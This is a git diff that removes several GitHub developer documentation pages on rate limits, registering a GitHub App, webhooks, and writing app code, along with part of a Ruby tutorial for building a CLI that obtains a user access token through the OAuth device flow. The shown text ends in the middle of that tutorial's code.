/developers/apps/building-github-apps/rate-limits-for-github-apps - - /apps/creating-github-apps/creating-github-apps/rate-limits-for-github-apps - - /apps/creating-github-apps/setting-up-a-github-app/rate-limits-for-github-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Rate limits ---- - -{% ifversion ghes %} - -API rate limits are disabled by default for {% data variables.product.prodname_ghe_server %}. Contact your site administrator to confirm the rate limits for your instance. - -If you are a site administrator, you can set rate limits for your instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-user-applications-for-your-enterprise/configuring-rate-limits). - -If you are developing an app for users or organizations outside of your instance, the standard {% data variables.product.github %} rate limits apply. For more information, see [AUTOTITLE](/free-pro-team@latest/rest/overview/rate-limits-for-the-rest-api) and [AUTOTITLE](/free-pro-team@latest/graphql/overview/resource-limitations) in the {% data variables.product.prodname_free_user %} documentation. - -{% else %} - -{% data variables.product.company_short %} sets a limit on the number of requests a {% data variables.product.prodname_github_app %} can make to the REST API within a specific time period. It also sets a limit on the point value of queries that a {% data variables.product.prodname_github_app %} can make to the GraphQL API within a specific time period. In addition to these primary rate limits, {% data variables.product.company_short %} may also apply secondary rate limits. These limits help to prevent abuse and denial-of-service attacks, and ensure that the system remains available for all users. - -The rate limit for {% data variables.product.prodname_github_app %}s depends on whether the app authenticates with a user access token or an installation access token. It also depends on where the app is owned by or installed on a {% data variables.product.prodname_ghe_cloud %} organization. - -For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api) and [AUTOTITLE](/graphql/overview/resource-limitations). - -{% endif %} diff --git a/content/apps/creating-github-apps/registering-a-github-app/registering-a-github-app.md b/content/apps/creating-github-apps/registering-a-github-app/registering-a-github-app.md deleted file mode 100644 index 703761bb0519..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/registering-a-github-app.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Registering a GitHub App -shortTitle: 'Register a {% data variables.product.prodname_github_app %}' -intro: 'You can register a {% data variables.product.prodname_github_app %} under your personal account{% ifversion enterprise-apps-public-beta %}, any organization you own, or your enterprise {% else %} or under any organization you own{% endif %}.' -redirect_from: - - /early-access/integrations/creating-an-integration - - /apps/building-integrations/setting-up-and-registering-github-apps/registering-github-apps - - /apps/building-github-apps/creating-a-github-app - - /developers/apps/creating-a-github-app - - /developers/apps/building-github-apps/creating-a-github-app - - /apps/creating-github-apps/creating-github-apps/creating-a-github-app - - /apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app - - /apps/creating-github-apps/setting-up-a-github-app/registering-a-github-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- - -## About registering {% data variables.product.prodname_github_apps %} - -You can register a {% data variables.product.prodname_github_app %} in a few different ways. - -* Under your **personal account**. -* Under an **organization you own**. -* Under an **organization** that has granted you permission to manage all its apps. See [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/adding-github-app-managers-in-your-organization).{% ifversion enterprise-apps-public-beta %} -* Under your **enterprise**, but it can only be installed on organizations within the enterprise. -{% endif %} - -{% data reusables.apps.maximum-github-apps-allowed %} - -## Registering a {% data variables.product.prodname_github_app %} - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Click **New {% data variables.product.prodname_github_app %}**. -1. Under "{% data variables.product.prodname_github_app %} name", enter a name for your app. You should choose a clear and short name. The name cannot be longer than 34 characters. Your app's name (converted to lowercase, with spaces replaced by `-`, and with special characters replaced) will be shown in the user interface when your app takes an action. For example, `My APp Näme` would display as `my-app-name`. - - The name must be unique across {% data variables.product.company_short %}. You cannot use the same name as an existing {% data variables.product.company_short %} account, unless it is your own user or organization name. - -1. Optionally, under "Description", type a description of your app. Users and organizations will see this description when they install your app. -1. Under "Homepage URL", type the full URL to your app's website. If you don’t have a dedicated URL and your app's code is stored in a public repository, you can use that repository URL. Or, you can use the URL of the organization or user that owns the app. -1. Optionally, under "Callback URL", enter the full URL to redirect to after a user authorizes the installation. - - You can enter up to 10 callback URLs. To add additional callback URLs, click **Add callback URL**. - - If your app does not need to act on behalf of a user (does not need to generate a user access token), this field will be ignored. If your app uses device flow instead of web application flow to generate a user access token, this field will be ignored. - - For more information about the callback URL, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url). For more information about generating a user access token to act on behalf of a user, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). -1. Optionally, to prevent user access tokens from expiring, deselect **Expire user authorization tokens**. {% data variables.product.company_short %} strongly recommends that you leave this option selected. For more information about refreshing expired tokens and the benefits of user access tokens that expire, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens). If your app does not need to generate a user access token, this field will be ignored. -1. Optionally, to prompt users to authorize your app when they install it, select **Request user authorization (OAuth) during installation**. If a user authorizes your app, your app can generate a user access token to make API requests on the user's behalf and attribute app activity to the user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user) and [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). -1. Optionally, if you want to use device flow to generate a user access token, select **Enable Device Flow**. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app). -1. Optionally, under "Setup URL", enter the URL to redirect users to after they install your app. If additional setup is required after installation, you can use this URL to tell users what steps to take after installation. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-setup-url). - - If you selected **Request user authorization (OAuth) during installation** in an earlier step, you will not be able to enter a URL here. Users will instead be redirected to the Callback URL as part of the authorization flow, where you can describe additional setup. -1. Optionally, if you want to redirect users to the setup URL after they update an installation, select **Redirect on update**. An update includes adding or removing a repository for an installation. If "Setup URL" is blank, this will be ignored. -1. Optionally, if you do not want your app to receive webhook events, deselect **Active**. For example, if your app will only be used for authentication or does not need to respond to webhooks, deselect this option. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps). -1. If you selected **Active** in the previous step, under "Webhook URL", enter the URL that {% data variables.product.company_short %} should send webhook events to. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps). -1. Optionally, if you selected **Active** in the previous step, under "Webhook secret", enter a secret token to secure your webhooks. {% data variables.product.company_short %} highly recommends that you set a webhook secret. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps). -1. If you entered a webhook URL, under "SSL verification", select whether to enable SSL verification. {% data variables.product.company_short %} highly recommends that you enable SSL verification. -1. Under "Permissions", choose the permissions that your app needs. For each permission, select the dropdown menu and click **Read-only**, **Read & write**, or **No access**. You should select the minimum permissions necessary for your app. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). -1. If you selected **Active** in the earlier step to indicate that your app should receive webhook events, under "Subscribe to events", select the webhook events that you want your app to receive. The permissions that you selected in the previous step determine what webhook events are available. For more information about each webhook event, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). -1. Under "Where can this {% data variables.product.prodname_github_app %} be installed?", select **Only on this account** or **Any account**.{% ifversion ghec %} If you use {% data variables.product.prodname_emus %}, **Only on this account** will be disabled for user accounts. Instead of **Any account**, the option will read **This enterprise**.{% endif %} For more information on installation options, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/making-a-github-app-public-or-private).{% ifversion enterprise-apps-public-beta %} - >[!NOTE] If your {% data variables.product.prodname_github_app %} is registered under an enterprise, this step does not apply.{% endif %} -1. Click **Create {% data variables.product.prodname_github_app %}**. - -## Next steps - -After registering a {% data variables.product.prodname_github_app %}, you will want to write code to make your {% data variables.product.prodname_github_app %} do something. For examples of how to write code, see: - -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/quickstart) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-login-with-github-button-with-a-github-app) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-cli-with-a-github-app) -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow) - -You should aim to follow best practices. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -Once your {% data variables.product.prodname_github_app %} is fully built, you can install your {% data variables.product.prodname_github_app %} and share your {% data variables.product.prodname_github_app %} with others. For more information, see [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app) and [AUTOTITLE](/apps/sharing-github-apps/sharing-your-github-app). - -You can always make changes to the settings for your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). diff --git a/content/apps/creating-github-apps/registering-a-github-app/using-webhooks-with-github-apps.md b/content/apps/creating-github-apps/registering-a-github-app/using-webhooks-with-github-apps.md deleted file mode 100644 index ddc1ff07fa23..000000000000 --- a/content/apps/creating-github-apps/registering-a-github-app/using-webhooks-with-github-apps.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Using webhooks with GitHub Apps -shortTitle: Webhooks -intro: 'Your {% data variables.product.prodname_github_app %} can subscribe to webhook events to receive notifications whenever certain activity occurs.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/creating-github-apps/using-webhooks-with-github-apps - - /apps/creating-github-apps/setting-up-a-github-app/using-webhooks-with-github-apps ---- - -## About webhooks and {% data variables.product.prodname_github_apps %} - -Webhooks enable your {% data variables.product.prodname_github_app %} to receive real-time notifications when events happen on {% data variables.product.prodname_dotcom %}, such as when someone pushes a commit or opens a pull request in a repository that your app can access. For more information about webhooks, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks). For a tutorial that demonstrates how to use webhooks with a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -You can configure your {% data variables.product.prodname_github_app %} to receive webhooks for specific events on {% data variables.product.prodname_dotcom %} and automatically take action on them. For more information about the types of webhooks you can receive, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). - -To receive webhook events in your {% data variables.product.prodname_github_app %}, you must enable webhooks for your {% data variables.product.prodname_github_app %} registration and specify a webhook URL where {% data variables.product.prodname_dotcom %} will send the webhook payloads. - -If your {% data variables.product.prodname_github_app %} does not need to respond to webhooks or will only be used for authentication, you can turn off the webhook function for your {% data variables.product.prodname_github_app %} registration. You do not need to specify a webhook URL. - -For more information about registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). For more information about changing the webhooks that a {% data variables.product.prodname_github_app %} registration subscribes to, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -## Choosing a webhook URL - -When you activate webhooks for your {% data variables.product.prodname_github_app %} registration, you will need to specify a webhook URL. The webhook URL is the address of a web server that will receive the webhook event payloads sent to your {% data variables.product.prodname_github_app %}. The server can then take action based on the content of the payload. You should choose a web server that's appropriate for the volume of webhook traffic that your {% data variables.product.prodname_github_app %} will encounter. - -### Choosing a webhook URL for development and testing - -While you develop and test your app, you can use a webhook payload delivery service like [Smee](https://smee.io/) to capture and forward webhook payloads to your local development environment. Never use Smee for an application in production, because Smee channels are not authenticated or secure. Alternatively, you can use a tool like [ngrok](https://ngrok.com/docs/guides/developer-preview/getting-started/), [localtunnel](https://localtunnel.github.io/www/), or the [Hookdeck Console](https://console.hookdeck.com?provider=github) that exposes your local machine to the internet to receive the payloads. - -#### Creating a webhook URL with Smee - -You can use Smee to create a unique domain where {% data variables.product.prodname_dotcom %} can send webhook payloads, without exposing your local development to the internet. Smee calls this unique domain a "Webhook Proxy URL." You can use Smee's Webhook Proxy URL as the webhook URL for your {% data variables.product.prodname_github_app %}. - -1. To use Smee to create a unique domain, go to https://smee.io and click **Start a new channel**. -1. On the Smee channel page, follow the instructions under "Use the CLI" to install and run the Smee client. -1. To connect your Smee webhook URL to your {% data variables.product.prodname_github_app %}, enter your unique Smee domain in the "Webhook URL" field on your {% data variables.product.prodname_github_app %} registration page. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -### Choosing a webhook URL for production - -For an application in production that receives a low volume of webhook traffic, you can host it on any dynamic application server. The server-side code for handling the webhook can receive the event, deserialize its JSON payload, and decide what action to take, such as storing the data in a database or calling the {% data variables.product.prodname_dotcom %} API. - -To handle a higher volume of webhook traffic for a large app in production, consider using asynchronous webhook handling on a dedicated server. You can achieve this by employing a queue, where the webhook handler pushes data to the queue, and separate processes perform subsequent actions based on the events. Additionally, you can use cloud functions such as [Azure Functions](https://azure.microsoft.com/en-us/products/functions/), [AWS Lambda](https://aws.amazon.com/lambda/), or [Hookdeck](https://hookdeck.com) to help scale the app for handling large volumes of webhook events. - -## Securing your webhooks with a webhook secret - -Once you've configured your server to receive payloads, it will listen for any payload sent to the server. For security reasons, you should limit incoming requests to only those originating from {% data variables.product.prodname_dotcom %}. You can do that by creating a webhook secret for your app. - -To create a webhook secret for your GitHub App, type a secret token under "Webhook secret" on your {% data variables.product.prodname_github_app %} registration page. You should choose a random string of text with high entropy. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app) and [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -After creating a webhook secret for your app, you will need to configure your server to securely store and validate the webhook secret token. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/securing-your-webhooks). - -## Subscribing to webhook events - -You can subscribe your {% data variables.product.prodname_github_app %} to receive webhook payloads for specific events. {% data reusables.apps.webhooks-and-apps %} For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/choosing-permissions-for-a-github-app). - -For example, if you would like your app to receive a webhook event payload whenever a new issue is opened in your repository, you would first need to give your app permission to access "Issues" under "Repository permissions." Then under "Subscribe to events" you can select "Issues." - -For more information about the permissions that are required for each webhook event, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/about-writing-code-for-a-github-app.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/about-writing-code-for-a-github-app.md deleted file mode 100644 index 18c6fc5a3592..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/about-writing-code-for-a-github-app.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: About writing code for a GitHub App -shortTitle: About writing GitHub App code -intro: 'You need to write code to add functionality to your {% data variables.product.prodname_github_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/building-your-first-github-app - - /apps/quickstart-guides/using-the-github-api-in-your-app - - /developers/apps/using-the-github-api-in-your-app - - /developers/apps/guides/using-the-github-api-in-your-app - - /apps/creating-github-apps/guides/using-the-github-api-in-your-app - - /apps/creating-github-apps/writing-code-for-a-github-app/using-the-github-api-in-your-app - - /apps/quickstart-guides/setting-up-your-development-environment - - /developers/apps/setting-up-your-development-environment-to-create-a-github-app - - /developers/apps/getting-started-with-apps/setting-up-your-development-environment-to-create-a-github-app - - /apps/creating-github-apps/guides/setting-up-your-development-environment-to-create-a-github-app - - /apps/creating-github-apps/writing-code-for-a-github-app/setting-up-your-development-environment-to-create-a-github-app ---- - -## Prerequisites - -Before you write code for a {% data variables.product.prodname_github_app %}, you should register a {% data variables.product.prodname_github_app %}. When you register a {% data variables.product.prodname_github_app %}, you select permissions for the app. These permissions dictate what the {% data variables.product.prodname_github_app %} can do. When you register an app, you also specify other settings, including which webhook events your {% data variables.product.prodname_github_app %} should receive. You can always change the settings for your {% data variables.product.prodname_github_app %} registration. For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/registering-a-github-app) and [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -If you want your {% data variables.product.prodname_github_app %} to access repository and/or organization data, you need to install your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/using-github-apps/installing-your-own-github-app). - -## Writing code for a {% data variables.product.prodname_github_app %} - -In order for your {% data variables.product.prodname_github_app %} to do something, you need to write code to add functionality to your {% data variables.product.prodname_github_app %}. - -For tutorials about how to write code for a {% data variables.product.prodname_github_app %}, see: - -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/quickstart) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-login-with-github-button-with-a-github-app) -* [AUTOTITLE](/apps/creating-github-apps/guides/building-a-cli-with-a-github-app) - -You can use the credentials from your {% data variables.product.prodname_github_app %} registration to make authenticated requests to {% data variables.product.company_short %}'s APIs. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app). - -During development, you will likely use your personal computer or codespace to run your {% data variables.product.prodname_github_app %}. You may need to make some modifications to your {% data variables.product.prodname_github_app %} registration during development: - -* If your app receives webhooks, you may want to use a webhook proxy URL to forward webhooks from GitHub to your computer or codespace. You will need to update the "Webhook URL" setting in your {% data variables.product.prodname_github_app %} registration to use your webhook proxy URL. For an example, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-github-app-that-responds-to-webhook-events). - -* If your app uses the web application flow to authorize a user, you may want to update the "Callback URL" setting in your {% data variables.product.prodname_github_app %} registration to use a local callback URL. For an example, see [AUTOTITLE](/apps/creating-github-apps/guides/building-a-login-with-github-button-with-a-github-app). - -## Next steps - -Once you write the code for your {% data variables.product.prodname_github_app %}, you should ensure that it follows best practices. If necessary, remember to update your {% data variables.product.prodname_github_app %} registration. If your {% data variables.product.prodname_github_app %} needs to run on a server instead of a user's device, deploy your app to your server. Finally, you can share your {% data variables.product.prodname_github_app %} with other users and organizations. - -### Follow best practices - -Before deploying your {% data variables.product.prodname_github_app %}, make sure you follow best practices. For example, make sure that your {% data variables.product.prodname_github_app %}'s credentials are secure. For more information, see [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app). - -### Update your {% data variables.product.prodname_github_app %} registration - -If you changed the {% data variables.product.prodname_github_app %} registration for development, make sure you update the registration to use production-ready values. For example, if you used a webhook proxy URL for development, you should update the "Webhook URL" field to use the URL where you want your {% data variables.product.prodname_github_app %} to receive webhooks during production. - -### Deploy your {% data variables.product.prodname_github_app %} - -Once you have written the code for your {% data variables.product.prodname_github_app %}, your code needs to run somewhere. If your app is a website or web app, you might host your app on a server like [Azure App Service](https://azure.microsoft.com/products/app-service/). If your app is a client-side app, it might run on a user's device. - -### Share your {% data variables.product.prodname_github_app %} - -If you want to share your {% data variables.product.prodname_github_app %} with other users and organizations, you should make your {% data variables.product.prodname_github_app %} public. {% ifversion fpt or ghec %}To make your {% data variables.product.prodname_github_app %} more discoverable, you can list it on {% data variables.product.prodname_marketplace %}. {% endif %}For more information, see [AUTOTITLE](/apps/sharing-github-apps/sharing-your-github-app). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app.md deleted file mode 100644 index 98eda4855af5..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app.md +++ /dev/null @@ -1,762 +0,0 @@ ---- -title: Building a CLI with a GitHub App -shortTitle: Build a CLI -intro: 'Follow this tutorial to write a CLI in Ruby that generates a user access token for a {% data variables.product.prodname_github_app %} via the device flow.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -redirect_from: - - /apps/creating-github-apps/guides/building-a-cli-with-a-github-app ---- - -## Introduction - -This tutorial demonstrates how to build a command line interface (CLI) backed by a {% data variables.product.prodname_github_app %}, and how to use the device flow to generate a user access token for the app. - -The CLI will have three commands: - -* `help`: Outputs the usage instructions. -* `login`: Generates a user access token that the app can use to make API requests on behalf of the user. -* `whoami`: Returns information about the logged in user. - -This tutorial uses Ruby, but you can write a CLI and use the device flow to generate a user access token with any programming language. - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -### About device flow and user access tokens - -The CLI will use the device flow to authenticate a user and generate a user access token. Then, the CLI can use the user access token to make API requests on behalf of the authenticated user. - -Your app should use a user access token if you want to attribute the app's actions to a user. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -There are two ways to generate a user access token for a {% data variables.product.prodname_github_app %}: web application flow and device flow. You should use the device flow to generate a user access token if your app is headless or does not have access to a web interface. For example, CLI tools, simple Raspberry Pis, and desktop applications should use the device flow. If your app has access to a web interface, you should use web application flow instead. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/guides/using-the-web-application-flow-to-generate-a-user-access-token-for-a-github-app). - -## Prerequisites - -This tutorial assumes that you have already registered a {% data variables.product.prodname_github_app %}. For more information about registering a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/creating-a-github-app). - -Before following this tutorial, you must enable device flow for your app. For more information about enabling device flow for your app, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). - -This tutorial assumes that you have a basic understanding of Ruby. For more information, see [Ruby](https://www.ruby-lang.org). - -## Get the client ID - -You will need your app's client ID in order to generate a user access token via the device flow. - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Next to the {% data variables.product.prodname_github_app %} that you want to work with, click **Edit**. -1. On the app's settings page, find the client ID for your app. You will use it later in this tutorial. Note that the client ID is different from the app ID. - -## Write the CLI - -These steps lead you through building a CLI and using device flow to get a user access token. To skip ahead to the final code, see [Full code example](#full-code-example). - -### Setup - -1. Create a Ruby file to hold the code that will generate a user access token. This tutorial will name the file `app_cli.rb`. -1. In your terminal, from the directory where `app_cli.rb` is stored, run the following command to make `app_cli.rb` executable: - - ```text copy - chmod +x app_cli.rb - ``` - -1. Add this line to the top of `app_cli.rb` to indicate that the Ruby interpreter should be used to run the script: - - ```ruby copy - #!/usr/bin/env ruby - ``` - -1. Add these dependencies to the top of `app_cli.rb`, following `#!/usr/bin/env ruby`: - - ```ruby copy - require "net/http" - require "json" - require "uri" - require "fileutils" - ``` - - These are all part of the Ruby standard library, so you don't need to install any gems. -1. Add the following `main` function that will serve as an entry point. The function includes a `case` statement to take different actions depending on which command is specified. You will expand this `case` statement later. - - ```ruby copy - def main - case ARGV[0] - when "help" - puts "`help` is not yet defined" - when "login" - puts "`login` is not yet defined" - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command `#{ARGV[0]}`" - end - end - ``` - -1. At the bottom of the file, add the following line to call the entry point function. This function call should remain at the bottom of your file as you add more functions to this file later in the tutorial. - - ```ruby copy - main - ``` - -1. Optionally, check your progress: - - `app_cli.rb` now looks like this: - - ```ruby copy - #!/usr/bin/env ruby - - require "net/http" - require "json" - require "uri" - require "fileutils" - - def main - case ARGV[0] - when "help" - puts "`help` is not yet defined" - when "login" - puts "`login` is not yet defined" - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command `#{ARGV[0]}`" - end - end - - main - ``` - - In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb help`. You should see this output: - - ```shell - `help` is not yet defined - ``` - - You can also test your script without a command or with an unhandled command. For example, `./app_cli.rb create-issue` should output: - - ```shell - Unknown command `create-issue` - ``` - -### Add a `help` command - -1. Add the following `help` function to `app_cli.rb`. Currently, the `help` function prints a line to tell users that this CLI takes one command, "help". You will expand this `help` function later. - - ```ruby copy - def help - puts "usage: app_cli <help>" - end - ``` - -1. Update the `main` function to call the `help` function when the `help` command is given: - - ```ruby copy - def main - case ARGV[0] - when "help" - help - when "login" - puts "`login` is not yet defined" - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command #{ARGV[0]}" - end - end - ``` - -1. Optionally, check your progress: - - `app_cli.rb` now looks like this. The order of the functions doesn't matter as long as the `main` function call is at the end of the file. - - ```ruby copy - #!/usr/bin/env ruby - - require "net/http" - require "json" - require "uri" - require "fileutils" - - def help - puts "usage: app_cli <help>" - end - - def main - case ARGV[0] - when "help" - help - when "login" - puts "`login` is not yet defined" - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command #{ARGV[0]}" - end - end - - main - ``` - - In your terminal, from the directory where `app_cli.rb` is stored, run `./app_cli.rb help`. You should see this output: - - ```shell - usage: app_cli <help> - ``` - -### Add a `login` command - -The `login` command will run the device flow to get a user access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app#using-the-device-flow-to-generate-a-user-access-token). - -1. Near the top of your file, after the `require` statements, add the `CLIENT_ID` of your {% data variables.product.prodname_github_app %} as a constant in `app_cli.rb`. For more information about finding your app's client ID, see [Get the client ID](#get-the-client-id). Replace `YOUR_CLIENT_ID` with the client ID of your app: - - ```ruby copy - CLIENT_ID="YOUR_CLIENT_ID" - ``` - -1. Add the following `parse_response` function to `app_cli.rb`. This function parses a response from the {% data variables.product.company_short %} REST API. When the response status is `200 OK` or `201 Created`, the function returns the parsed response body. Otherwise, the function prints the response and body and exits the program. - - ```ruby copy - def parse_response(response) - case response - when Net::HTTPOK, Net::HTTPCreated - JSON.parse(response.body) - else - puts response - puts response.body - exit 1 - end - end - ``` - -1. Add the following `request_device_code` function to `app_cli.rb`. This function makes a `POST` request to `{% data variables.product.oauth_host_code %}/login/device/code` and returns the response. - - ```ruby copy - def request_device_code - uri = URI("{% data variables.product.oauth_host_code %}/login/device/code") - parameters = URI.encode_www_form("client_id" => CLIENT_ID) - headers = {"Accept" => "application/json"} - - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - ``` - -1. Add the following `request_token` function to `app_cli.rb`. This function makes a `POST` request to `{% data variables.product.oauth_host_code %}/login/oauth/access_token` and returns the response. - - ```ruby copy - def request_token(device_code) - uri = URI("{% data variables.product.oauth_host_code %}/login/oauth/access_token") - parameters = URI.encode_www_form({ - "client_id" => CLIENT_ID, - "device_code" => device_code, - "grant_type" => "urn:ietf:params:oauth:grant-type:device_code" - }) - headers = {"Accept" => "application/json"} - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - ``` - -1. Add the following `poll_for_token` function to `app_cli.rb`. This function polls `{% data variables.product.oauth_host_code %}/login/oauth/access_token` at the specified interval until {% data variables.product.company_short %} responds with an `access_token` parameter instead of an `error` parameter. Then, it writes the user access token to a file and restricts the permissions on the file. - - ```ruby copy - def poll_for_token(device_code, interval) - - loop do - response = request_token(device_code) - error, access_token = response.values_at("error", "access_token") - - if error - case error - when "authorization_pending" - # The user has not yet entered the code. - # Wait, then poll again. - sleep interval - next - when "slow_down" - # The app polled too fast. - # Wait for the interval plus 5 seconds, then poll again. - sleep interval + 5 - next - when "expired_token" - # The `device_code` expired, and the process needs to restart. - puts "The device code has expired. Please run `login` again." - exit 1 - when "access_denied" - # The user cancelled the process. Stop polling. - puts "Login cancelled by user." - exit 1 - else - puts response - exit 1 - end - end - - File.write("./.token", access_token) - - # Set the file permissions so that only the file owner can read or modify the file - FileUtils.chmod(0600, "./.token") - - break - end - end - ``` - -1. Add the following `login` function. - - This function: - - 1. Calls the `request_device_code` function and gets the `verification_uri`, `user_code`, `device_code`, and `interval` parameters from the response. - 1. Prompts users to enter the `user_code` from the previous step. - 1. Calls the `poll_for_token` to poll {% data variables.product.company_short %} for an access token. - 1. Lets the user know that authentication was successful. - - ```ruby copy - def login - verification_uri, user_code, device_code, interval = request_device_code.values_at("verification_uri", "user_code", "device_code", "interval") - - puts "Please visit: #{verification_uri}" - puts "and enter code: #{user_code}" - - poll_for_token(device_code, interval) - - puts "Successfully authenticated!" - end - ``` - -1. Update the `main` function to call the `login` function when the `login` command is given: - - ```ruby copy - def main - case ARGV[0] - when "help" - help - when "login" - login - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command #{ARGV[0]}" - end - end - ``` - -1. Update the `help` function to include the `login` command: - - ```ruby copy - def help - puts "usage: app_cli <login | help>" - end - ``` - -1. Optionally, check your progress: - - `app_cli.rb` now looks something like this, where `YOUR_CLIENT_ID` is the client ID of your app. The order of the functions doesn't matter as long as the `main` function call is at the end of the file. - - ```ruby copy - #!/usr/bin/env ruby - - require "net/http" - require "json" - require "uri" - require "fileutils" - - CLIENT_ID="YOUR_CLIENT_ID" - - def help - puts "usage: app_cli <login | help>" - end - - def main - case ARGV[0] - when "help" - help - when "login" - login - when "whoami" - puts "`whoami` is not yet defined" - else - puts "Unknown command #{ARGV[0]}" - end - end - - def parse_response(response) - case response - when Net::HTTPOK, Net::HTTPCreated - JSON.parse(response.body) - else - puts response - puts response.body - exit 1 - end - end - - def request_device_code - uri = URI("{% data variables.product.oauth_host_code %}/login/device/code") - parameters = URI.encode_www_form("client_id" => CLIENT_ID) - headers = {"Accept" => "application/json"} - - response = Net::HTTP.post(uri, parameters, headers) - parse_response(response) - end - - def request_token(device_code) - uri = 